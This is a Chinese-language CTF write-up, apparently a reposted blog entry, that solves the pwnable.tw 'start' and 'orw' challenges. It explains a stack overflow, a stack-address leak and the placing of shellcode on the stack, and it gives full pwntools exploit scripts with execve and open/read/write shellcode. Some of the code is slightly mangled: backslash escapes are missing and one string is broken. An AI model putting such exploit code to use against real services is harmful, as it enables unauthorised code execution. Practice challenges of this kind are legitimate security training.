pwnable.tw start&orw

emm,之前一直想做tw的pwnable苦于没有小飞机(,今天做了一下发现都是比较硬核的pwn题目,对于我这种刚入门?的菜鸡来说可能难度刚好(orz

1.start

  比较简单的一个栈溢出,给出一个linux 0x80系统调用的参考网址,就决定是他了

参考之可以发现al=0x3执行sys_read时长度是0x3c*size_sz,栈的长度是0x14,明显的栈溢出。由于没有开启NX,所以直接在栈上布置shellcode即可。

需要注意的是:

  虽然程序没有开启PIE,但是利用的话是需要绕过ASLR的;原因是ASLR只是不影响代码段和数据段的基址随机化,而我们布置的shellcode是在栈上,堆段和栈段是受系统ASLR影响的

  脚本执行后shell没有回显可能是shellcode的问题,最好是自己写一个

给出脚本

from pwn import *

context.log_level='DEBUG'

r=remote('chall.pwnable.tw',10000)

r.recvuntil("Let's start the CTF:")
payload='a'*20+p32(0x08048087)
r.send(payload)
esp=u32(r.recv(4))
success(hex(esp))

#r.recvuntil("Let's start the CTF:
")
shellcode = 'x31xc9xf7xe1x51x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xb0x0bxcdx80'
payload='a'*20+p32(esp+20)+shellcode

r.sendline(payload)

r.interactive()

2.orw

  编写shellcode即可,参考上面给出的linux系统调用参考网址

from pwn import *  

context(log_level = 'debug', arch = 'i386', os = 'linux') 

p=remote('chall.pwnable.tw',10001)

p.recvuntil(':') 

shellcode="" 

shellcode += asm('xor ecx,ecx;mov eax,0x5; push ecx;push 0x67616c66; push 0x2f77726f; push 0x2f656d6f; push 0x682f2f2f; mov ebx,esp;xor edx,edx;int 0x80;') #open(file,0,0) 

shellcode += asm('mov eax,0x3;mov ecx,ebx;mov ebx,0x3;mov dl,0x30;int 0x80;') #read(3,file,0x30) 

shellcode += asm('mov eax,0x4;mov bl,0x1;int 0x80;') #write(1,file,0x30) 

p.sendline(shellcode)

print p.recv()
原文地址:https://www.cnblogs.com/snip3r/p/10314687.html